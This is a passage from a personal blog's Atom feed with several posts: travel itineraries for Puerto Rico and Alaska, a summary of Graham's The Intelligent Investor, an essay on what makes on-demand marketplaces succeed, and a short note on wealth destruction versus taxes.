<a href="https://www.tripadvisor.com/Attraction_Review-g1383492-d2335360-Reviews-Cueva_Ventana-Arecibo_Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cueva Ventana</a> (&ldquo;caves with a window&rdquo;). We did   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g147319-d148805-Reviews-La_Parguera-Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">La Parguera</a> afterward, but I would recommend against it. One, it is too far, and second, it is not as good as the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g612474-d1634272-Reviews-Bioluminescent_Bay-Fajardo_Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bioluminescent Bay</a> in Fajardo. The boat trip in La Parguera is definitely cheaper (7$ per person as compared to 40$ Kayaking in Fajardo) and one can swim in the water but the quality of bioluminescence is much better in Fajardo.</p>
<figure>
    
    <a href="IMG_0271-1024x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0271-1024x1024.jpg"
         alt="Rio Camuy cave park" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0292-1024x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0292-1024x1024.jpg"
         alt="Cueva Ventana" width="900"/> </a>
</figure>

<h3 id="day-3">Day 3</h3>
<p>Drive east and do   
    
    
<a href="https://www.puertoricodaytrips.com/hike-the-el-yunque-trail/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">El Yunque National Park</a>, it is the only tropical rainforest in the national forest system.
We did the El Yunque trail. It took us about 4 hours round-trip.
It was raining badly but even despite that, I think the experience is average, nothing bad but nothing awesome either.
After that, we did   
    
    
<a href="https://www.tripadvisor.com/LocationPhotoDirectLink-g644389-d4427021-i88736518-Pandora_Tour_Puerto_Rico-Carolina_Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Charco Frio</a> (&ldquo;The cold pond&rdquo;) which I would highly recommend.
It is a bit difficult to find, so, I would highly recommend reading about the directions in detail before heading there.</p>
<figure>
    
    <a href="IMG_0314-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0314-1024x768.jpg"
         alt="El Yunque National Park" width="900"/> </a>
</figure>

<h3 id="day-4">Day 4</h3>
<p>Drive further east and take a 9 AM ferry to Culebra island. The round-trip ferry is for $5 and is totally worth the journey. The island has amazing beaches - Flamenco for swimming, Rosario and Tamarindo for snorkeling. The water is live, that is, it has Jellyfish but its sting is not that painful. Finish the day with Bio bay Kayaking at Fajardo. I had nice vegetarian food at   
    
    
<a href="https://www.tripadvisor.com/Restaurant_Review-g612474-d6654348-Reviews-Ocean_View_Restaurant-Fajardo_Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ocean View restaurant</a> afterward. For vegetarians, I would highly recommend vegetarian Mofongo.</p>
<figure>
    
    <a href="IMG_0319-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0319-1024x768.jpg"
         alt="A leftover tank from a war" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0322-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0322-1024x768.jpg"
         alt="Beach" width="900"/> </a>
</figure>

<h3 id="tips">Tips</h3>
<ol>
<li>You don&rsquo;t really need snorkeling gear, good swimming glasses work as well.</li>
<li>If you are a vegetarian, check before ordering <em>arroz</em> (&ldquo;rice&rdquo;), they are sometimes laced with grasa <em>de</em> cerdo (&ldquo;pork fat&rdquo;).</li>
<li>Compared to the mainland United States, driving is a bit rough here, people change lanes without giving turning indicators on.</li>
<li>Puerto Rico is also famous for Zip-line tours. As I had done it, elsewhere, in the past, I skipped. If you have not done it, it might make sense to check it out.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/puerto-rico" term="puerto-rico" label="puerto-rico"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Alaska in 4 days</title><link href="https://ashishb.net/travel/alaska/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/mt-whitney/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Whitney in winters"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><id>https://ashishb.net/travel/alaska/</id><author><name>Ashish Bhatia</name></author><published>2015-12-24T07:39:46+00:00</published><updated>2015-12-24T07:39:46+00:00</updated><content type="html"><![CDATA[<blockquote>Explore southern Alaska in 4 days! From Denali&rsquo;s rugged beauty to the icy majesty of Blackstone Bay, embark on unforgettable hikes and scenic cruises.</blockquote><p>Alaska is vast, in a 4-day trip, one can either do the northern Arctic part or the southern part. We did the latter. Here is the itinerary we followed.</p>
<ul>
<li>Day 0 - Land in Anchorage, and drive four hours to Denali national park.</li>
<li>Day 1 - Take the   
    
    
<a href="https://www.nps.gov/dena/planyourvisit/bus-tours.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kantishna bus tour</a> of Denali national park.  Driving inside the park is not allowed.</li>
</ul>
<p><img alt="Denali National Park" loading="lazy" src="/travel/alaska/Denali1-1024x683.jpg">
<img alt="Bear spotting in Denali" loading="lazy" src="/travel/alaska/Denali2-1024x683.jpg">
<img alt="Moose in Denali National Park" loading="lazy" src="/travel/alaska/Denali3-1024x683.jpg"></p>
<ul>
<li>Day 2 - Hike to   
    
    
<a href="https://www.nps.gov/dena/photosmultimedia/overlook.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mt. Healy</a>. Hike on Matanuska Glacier. If you have never walked on ice before, I would highly recommend hiking on the glacier.</li>
</ul>
<p><img alt="Matanuska glacier" loading="lazy" src="/travel/alaska/Matunska-glacier-1024x683.jpg"></p>
<ul>
<li>Day 3 - Hike on   
    
    
<a href="https://www.nps.gov/kefj/planyourvisit/harding_icefield_trail.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Harting Icefield</a> trail. It is a fantastic hike next to a glacier.</li>
</ul>
<p><img alt="Harting Ice Field" loading="lazy" src="/travel/alaska/Harting1-1024x683.jpg"></p>
<ul>
<li>Day 4 - Take a 
<a href="/travel/first-time-cruisers/">day cruise</a> at Whittier to Blackstone Bay. Do check the weather, when we did it snowed heavily, and that spoiled the sail a bit. It is unquestionably overpriced compared to other cruises I have done in the United States.</li>
</ul>
<p><img alt="Otter in Whittier" loading="lazy" src="/travel/alaska/otter-in-whittier-1024x683.jpg">

<a href="whittier-cruise-1024x683.jpg">Blackstone glacier</a></p>
<p>Few tips</p>
<ol>
<li>
<a href="/travel/public-transport-guide/">Public transport</a> is almost non-existent. Rent a car right from the airport.</li>
<li>Vegetarian food can be a bit hard to come by, but thankfully, Subways are everywhere.</li>
<li>Carry pepper spray or walk in groups to avoid bears.</li>
<li>Do carry a good jacket since rainfall/snowfall starts arbitrarily.</li>
<li>The tunnel to Whittier is one-way and switches directions every 30 minutes. Do check its   
    
    
<a href="https://www.dot.state.ak.us/creg/whittiertunnel/schedule.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">schedule</a>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/alaska" term="alaska" label="alaska"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Book Summary: The Intelligent Investor by Benjamin Graham</title><link href="https://ashishb.net/book-summary/the-intelligent-investor/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><id>https://ashishb.net/book-summary/the-intelligent-investor/</id><author><name>Ashish Bhatia</name></author><published>2015-11-15T11:01:37+00:00</published><updated>2015-11-15T11:01:37+00:00</updated><content type="html"><![CDATA[<blockquote>Explore &ldquo;The Intelligent Investor&rdquo; by Benjamin Graham, a timeless guide distinguishing investment from speculation, combating inflation, and finding long-term financial stability.</blockquote><p>  
    
    
<a href="https://amzn.to/1KXKGMS?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Intelligent Investor</a> by Benjamin Graham is considered the bible of investing.</p>
<h2 id="investment-vs-speculation">Investment vs. Speculation</h2>
<p>Speculative formulas like the   
    
    
<a href="https://www.investopedia.com/terms/j/januaryeffect.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">January effect</a>,   
    
    
<a href="https://amzn.to/1RzrKFx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">O&rsquo;Shaughnessy&rsquo;s patented strategy</a>,   
    
    
<a href="https://zing.ncsl.nist.gov/cifter/TheCD/TMFsite_instrumented/FoolSite/FoolMain/school/dowinvesting/dowinvesting.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Foolish Four strategy</a> were all the result of a simple mistake. Looking at large quantities of past financial data for a long enough period will produce some coincidental patterns. These strategies stopped working soon after they were published. The January effect is still there, though much less pronounced. Speculating is closer to gambling, and those pursuing it should put a hard limit on how much they are going to spend on speculation.</p>
<h2 id="investor-and-inflation">Investor and Inflation</h2>
<p>Stocks protect against inflation. Bonds provide partial protection against inflation. REITs and TIPS are other bets against inflation. TIPS are better off in tax-protected accounts since the IRS treats an increase in their paper value as taxable gain.</p>
<h2 id="stock-market-history">Stock market history</h2>
<p>Never try to predict the future solely by extrapolating the past. Stocks don&rsquo;t outperform cash/bonds significantly once all the companies which went bankrupt are taken into consideration.   
    
    
<a href="https://www.multpl.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Shiller</a> index, a ratio of current price to average profits over the past ten years, is inspired by Graham&rsquo;s valuation approach. If the index goes about 20, stock market returns are usually poor. The real growth of earnings and dividends is about 2%; inflation runs about 2%, the dividend yield is about 2%. Thus, the total return on stocks is  6% (4% adjusted for inflation) in the long run.</p>
<h2 id="general-portfolio-policy-the-defensive-investor">General Portfolio Policy: The Defensive Investor</h2>
<p>The book does not prescribe the standard &ldquo;(100 - age) % of the portfolio in stocks&rdquo; since people at the same age can have different investment horizons. For anyone, putting a minimum of 25% in stocks is a safe bet and beyond 75% is too risky.   
    
    
<a href="https://www.apa.org/science/about/psa/2004/04/pelham.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Research</a> shows that we are bad at predicting our reaction to an emotionally charged situation (stock market crash, in this case) in the future. Depending on one&rsquo;s life situation, which determines the investment horizon, the stock component can be chosen between 25 and 75%. Taxable bonds should only go into tax-sheltered accounts like 401(K). If interest rates rise, a short-term bond falls far less than the long-term and vice versa. The simpler bet is to buy intermediate-term bonds instead.</p>
<h2 id="the-defensive-investor-and-common-stocks">The Defensive Investor and Common Stocks</h2>
<p>An individual investor can great common stocks just based on companies he is familiar with. Unfortunately, this familiarity breeds complacency. An individual investor should not invest without doing further research into the financial statements of the company. Index funds with dividend reinvesting leading to Dollar-cost averaging are the best bet for individual investors.</p>
<h2 id="portfolio-policy-for-the-enterprising-investor-negative-approach">Portfolio Policy for the Enterprising Investor: Negative Approach</h2>
<p>Junk bonds are usually a bad bet. Day-trading is a crime; it only makes the broker rich. IPOs are bad for individual investors. VA Linux went public at $30 a share in 1999, the stock then went up to $320 in a single day, and in 3 years, it was trading at $1.19 a share.</p>
<h2 id="portfolio-policy-for-the-enterprising-investor-the-positive-side">Portfolio Policy for the Enterprising Investor: The Positive Side</h2>
<p>A great company is not a great investment if you pay too much for the stock. Bargain opportunities arise with big company stocks from time to time when the stock crashes due to bad news with a temporary effect. Investing in foreign stocks is important for diversification. In 1989, the Japanese stock market had made 21% annually on average for a decade against 17.5% for the USA. Japanese companies were booming, but then in the next decade, Nikkei lost two-thirds of its value.</p>
<h2 id="the-investor-and-market-fluctuations">The Investor and Market Fluctuations</h2>
<p>Mr. market knocks on your door every day and tells you a price at which you can buy more shares of companies you own or sell your shares. His behavior is erratic; sometimes you feel he is offering too much and sometimes asking too much. Most people lose by imitating Mr. market. Most people fear losing money more than gaining, so, when the market tanks, they end up selling at the bottom. When stocks fall in price, they are actually on sale,  whether the sale is worthy of it is not, is to be judged by the buyer.</p>
<h2 id="investing-in-investment-funds">Investing in Investment Funds</h2>
<p>Index funds are good bets. Finding good mutual funds to invest in is hard, good ones are usually closed to new investors and most likely not even taking new money. Be careful of high turnover leading to excessive taxes.</p>
<h2 id="the-investor-and-his-advisers">The Investor and His Advisers</h2>
<p>An adviser assists in developing a comprehensive financial plan regarding earning and investing (asset-allocation) and take care of the emotional health of the client during difficult times.</p>
<h2 id="security-analysis-for-the-lay-investor">Security Analysis for the Lay Investor</h2>
<p>Five important factors for a long-term prospect</p>
<ol>
<li>General long-term prospects of the company</li>
<li>Management quality</li>
<li>Financial strength and capital structure</li>
<li>Dividend record</li>
<li>Current dividend rate</li>
</ol>
<p>Signs of trouble</p>
<ol>
<li>Serial acquirer</li>
<li>OPM (other people&rsquo;s money) addict - borrowing debt or selling stock</li>
<li>The company is relying on only a few customers</li>
</ol>
<p>Good signs</p>
<ol>
<li>Strong brand identity, eg. Harley-Davidson</li>
<li>Monopoly</li>
<li>Economies of scale, eg. Gillette</li>
<li>Unique intangible asset, eg. Coca-cola</li>
<li>Resistance to substitution e.g. electricity supplying utility companies</li>
<li>The company is a marathon runner and sprinter; fast-growing companies tend to overheat and flame out (   
    
    
<a href="https://online.sfsu.edu/alanjung/FAJPaper.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>)</li>
<li>The company spends on R&amp;D (and spending is not too little or too much)</li>
</ol>
<h2 id="things-to-consider-per-share-earnings">Things to consider per-share earnings</h2>
<ol>
<li>Special charges - Companies can fudge their earnings by showing losses, taking inventory write-off, or shutting down a division as special charges. Such earnings before special charges are reported as primary earnings. Earnings after special charges are reported as net income.</li>
<li>Dilution factor - The number of shares itself can be misleading if a company has stock warrants, convertible preferred stocks, or convertible bonds which under current circumstances might be favorable for their owners to convert. Usually, such shares, assuming conversion is reported as &ldquo;fully diluted&rdquo;.</li>
<li>Income-tax deduction - If a company has taken losses in the past and still has income tax credits left to use, then-current earnings might be taxed at a lower rate.</li>
<li>Depreciation - Depreciation of current assets can be linear or accelerated, usually, either is fine. But when a company jumps from one to another, it can cause EPS to fluctuate.</li>
<li>Pro forma - Use of non-GAAP reporting, see a mockery of the same in   
    
    
<a href="https://www.slate.com/articles/business/moneybox/2002/04/my_pro_forma_life.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">My Pro Forma Life</a>.</li>
</ol>
<p>If you are reading financial reports, read them backward. Bad things are usually at the end or in the footnotes.</p>
<h2 id="stock-selection-for-the-defensive-investor">Stock selection for the defensive investor</h2>
<p>A low-cost total stock market is the best of a defensive investor. Keep 90% of the money in that and play around with 10% picking stocks. For stock picking, focus on the strong financial condition of the underlying company, its earnings stability, dividend record, earnings growth, moderate P/E (&lt; 15), and moderate Price-to-book (&lt; 2.5).</p>
<h2 id="stock-selection-for-the-enterprising-investor">Stock selection for the enterprising investor</h2>
<ol>
<li>Good   
    
    
<a href="https://www.investopedia.com/terms/r/returnoninvestmentcapital.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ROIC</a> (not just EPS)</li>
<li>Clear financial statements</li>
<li>Focus on discipline and consistency of investment thesis, ignoring the market.</li>
</ol>
<h2 id="convertible-issues">Convertible issues</h2>
<p>A convertible bond can be converted to stock at a conversion ratio. So, while they pay interest like a bond, they can be converted into a stock, which makes sense if the stock does well. They are more correlated with the stock market than the bond market. Another common thing that some investors do is selling covered calls, which effectively puts a ceiling on their gains while still giving the same exposure to losses. Hence, it&rsquo;s a bad idea.</p>
<h2 id="margin-of-safety">Margin of safety</h2>
<p>It can take a long time to   
    
    
<a href="https://www.youngresearch.com/researchandanalysis/retirement-investing/retirement-no-time-for-whipsaw-portfolio-volatility/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">recover</a> from large losses; therefore, losing is a dangerous proposition. Consequences should always dominate probabilities. So, rather than wondering about what&rsquo;s the likelihood of equity going down 50%,  first focus on how would you react when you face those losses.  The value of any security is proportional to the square of its earnings and is inversely proportional to its market value.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/finance" term="finance" label="finance"/></entry><entry><title type="html">When marketplaces work and when they don't</title><link href="https://ashishb.net/tech/when-marketplaces-work-and-when-they-dont/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/thoughts-on-tizen/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Tizen"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="related" type="text/html" title="Shortcuts - when we love them and when we don't"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><id>https://ashishb.net/tech/when-marketplaces-work-and-when-they-dont/</id><author><name>Ashish Bhatia</name></author><published>2015-11-09T07:45:38+00:00</published><updated>2015-11-09T07:45:38+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the crucial traits that decide the success or failure of on-demand marketplaces like Uber and Airbnb. Learn why some thrive while others fall short.</blockquote><p>Thanks to Uber&rsquo;s meteoric rise in   
    
    
<a href="https://www.wsj.com/articles/uber-valued-at-more-than-50-billion-1438367457?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">valuation</a>, several startups are trying to mimic the idea of building marketplaces with instant gratification. So much so, that there is an aptly titled poem, &quot;   
    
    
<a href="https://qz.com/311217/poem-theres-an-uber-for-x/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Uber for X</a>&quot;, devoted to this. Though the jury is still out on Uber or Airbnb, some others like Exec and Homejoy have   
    
    
<a href="https://techcrunch.com/2014/01/15/handybook-sweeps-up-exec-for-under-10m-to-expand-west-coast-footprint/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">already</a>   
    
    
<a href="https://techcrunch.com/2015/07/31/why-homejoy-failed-and-the-future-of-the-on-demand-economy/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">failed</a> to be sustainable businesses. Here are a few thoughts on the characteristics of marketplaces, including so-called sharing economy startups, which decides their eventual fate.</p>
<h2 id="characteristics-of-an-on-demand-marketplace">Characteristics of an on-demand marketplace</h2>
<ol>
<li>Price
For a low-ticket item like Uber ride whose average price is   
    
    
<a href="https://www.nerdwallet.com/blog/insurance/number-rides-pay-insurance-lyft-uber/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">16$</a>, chances of a buyer looking for cheaper alternatives are lower. For a high-ticket item like Airbnb where an average rental is   
    
    
<a href="https://priceonomics.com/hotels/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">~100$</a>, the chances a buyer will look for alternatives is higher. That might explain the success of   
    
    
<a href="https://www.vrbo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">VRBO/HomeAway</a> which undercuts Airbnb with   
    
    
<a href="https://www.airbnb.com/help/article/384/what-are-the-service-fees?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lower</a>   
    
    
<a href="https://help.vrbo.com/articles/en_US/Article/How-is-the-booking-fee-calculated?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fees</a>.</li>
<li>Standardization/Commoditization of goods/experiences sold
Riders are OK with their Uber drivers as long as the drivers are good enough. And the driver has to provide, more or less, the same service to every customer.  That&rsquo;s not true for a  cleaning service like Homejoy, both the cleaner and the cleaning job has a huge amount of variation.  This makes the job of providing a consistent service much harder.</li>
<li>Interaction frequency
The frequency of use should be high, or else buyers or sellers might forget that the marketplace even exists.   
    
    
<a href="https://www.piggybee.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PiggyBee</a> is Uber for shipping goods, a traveler whose journey matches with the journey of your good to be delivered. Such a service would have a hard time converting and retaining users. This is crucial, a marketplace not only needs users but needs the right balance of suppliers and buyers in time and if interaction frequency is low, it is very challenging to attain that.</li>
<li>Low platform leakage
The underlying structure should be such that there is no practical advantage for a bond outside of the marketplace. Regular Uber riders can&rsquo;t just take the phone number of a driver and call him for the next ride. Since the driver might not be in the proximity or might be with other riders. That&rsquo;s not true for say hiring a home tutor, once you have found a good one, you can take the next purchase offline undercutting the marketplace of its revenue share. That is what probably killed   
    
    
<a href="https://pando.com/2013/09/08/after-difficult-fundraise-yc-alum-tutorspree-shuts-down/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tutorspree</a>, touted as &ldquo;Airbnb for tutors&rdquo;.
An even better structure is where taking the dealing outside would be disadvantageous. Consider, for example, buying goods on eBay. It is better to perform the transaction on eBay to get the   
    
    
<a href="https://pages.ebay.com/ebay-money-back-guarantee/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">buyer&rsquo;s protection</a>. Or, for example, when borrowing money directly outside LendingClub, the borrower will have a  little negative consequence if s/he decides not to pay back.
Another thing which encourages platform leakage is the lack of urgency. An Uber rider might not want to wait one hour for his/her previous driver to be free, but a homeowner would usually be fine waiting a few hours or sometimes days, for a good cleaner.
In almost all cases, though, a transaction can migrate to a similar platform if service being provided is commoditized/standardized. For example, Uber will have a higher chance of losing customers to Lyft than StyleSeat losing customers to LifeBooker, as long the same service providers are not listed on LifeBooker.</li>
<li>Trustworthiness
While the platform does vet both the supplier and buyer to some extent including providing insurance for the transaction, there might be a further requirement of trust. An Uber rider and driver would have much less requirement of mutual trust that the guest-host pair staying in the same house. The problem is   
    
    
<a href="https://www.jasonshen.com/2014/test-your-startup-idea-with-a-minimum-viable-transaction/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">worse</a> for renting physical goods since the lender does not even know if the good returned is the same shape or not. So, a car owner renting a car on   
    
    
<a href="https://www.fastcompany.com/3052940/relayrides-takes-a-page-from-airbnb-rebands-to-turo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RelayRides</a> (now Turo), would require more trust in the borrower than a homeowner would require in an Airbnb host.</li>
<li>Fully online vs. online-to-offline interaction
Lending club is a purely online experience for the lender and the borrower; Uber is not. A purely online model not only allows for easier scalability but also it makes intermediation easy in case of a dispute. This point, though, is relatively minor compared to others.</li>
<li>Goods vs. experience
If a dispute arises, it matters whether the transaction involved a good or an experience. It would be relatively easier for the marketplace to be an intermediary in case of a dispute involving a good. When it&rsquo;s an experience, it is   
    
    
<a href="https://web.archive.org/web/20151230005621/https://drupaler.drupalgardens.com/content/why-airbnb-dead-me?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">words</a> of buyers against the words of the seller. This point, though, is relatively minor compared to others.</li>
</ol>
<h2 id="below-is-an-analysis-of-some-popular-marketplaces-based-on-the-above-characteristics">Below is an analysis of some popular marketplaces based on the above characteristics</h2>
<figure>
    
    <a href="marketplaces-comparison.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="marketplaces-comparison.png"
         alt="Comparison of popular marketplaces" width="900"/> </a>
</figure>

<p>Note: Some ideas mentioned in this post are based on conversations with friends and are not entirely mine.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/marketplaces" term="marketplaces" label="marketplaces"/></entry><entry><title type="html">Wealth destruction is worse than taxes</title><link href="https://ashishb.net/finance/wealth-destruction-is-worse-than-taxes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/the-terrible-economics-of-a-restaurant/?utm_source=atom_feed" rel="related" type="text/html" title="The Terrible Economics of running a Restaurant"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><id>https://ashishb.net/finance/wealth-destruction-is-worse-than-taxes/</id><author><name>Ashish Bhatia</name></author><published>2015-10-25T22:50:23+00:00</published><updated>2015-10-25T22:50:23+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the economic impacts of wealth creation, transfer, and destruction, and learn how subtle factors contribute to wealth loss in developing countries.</blockquote><p>An economic activity has one more of the following impacts</p>
<ol>
<li>Wealth creation - for example, processes like extraction of oil, capturing solar energy and even repairing a broken device.</li>
<li>Wealth transfer - for example, processes like selling a good, taxes and bribery/theft, though the last one is usually illegal.</li>
<li>Wealth destruction - for example, processes like hurricanes, wars and riots.</li>
</ol>
<p>Most developing/underdeveloped countries usually lack sufficient wealth creation, but it does not stop there. They suffer a lot from man-made wealth destruction as well. Sometimes, they are obvious, as in the case of wars and riots. Sometimes, they are more subtle. For example, India   
    
    
<a href="https://en.wikipedia.org/wiki/Electricity_sector_in_India?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">loses</a> 24% of electricity to transmission and distribution, as oppose to 6% in the USA. Or, for example, 30% of fruits and vegetable harvest is   
    
    
<a href="https://www.financialexpress.com/opinion/if-india-cuts-post-harvest-losses-over-5-cr-people-could-be-fed-for-a-year-at-rs-50-per-day/892535/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lost</a> in India due to lack of proper storage. Tax, in principle, is a transfer of money to the government. Even if the government uses money inefficiently, it is still being used. While in the case of wealth destruction, the resources are simply lost leaving an overall poorer society.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/economics" term="economics" label="economics"/><category scheme="https://ashishb.net/tag/wealth" term="wealth" label="wealth"/></entry><entry><title type="html">Traveling on Indian passport</title><link href="https://ashishb.net/travel/traveling-on-indian-passport/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/why-indian-passport-remains-weak/?utm_source=atom_feed" rel="related" type="text/html" title="Why Indian Passport remains weak"/><link href="https://ashishb.net/travel/gorkhaland-west-bengal-and-sikkim/?utm_source=atom_feed" rel="related" type="text/html" title="5 days in Gorkhaland (West Bengal) and Sikkim"/><link href="https://ashishb.net/travel/kerala/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Kerala - Munnar, Thekkady, and Aleppey"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link 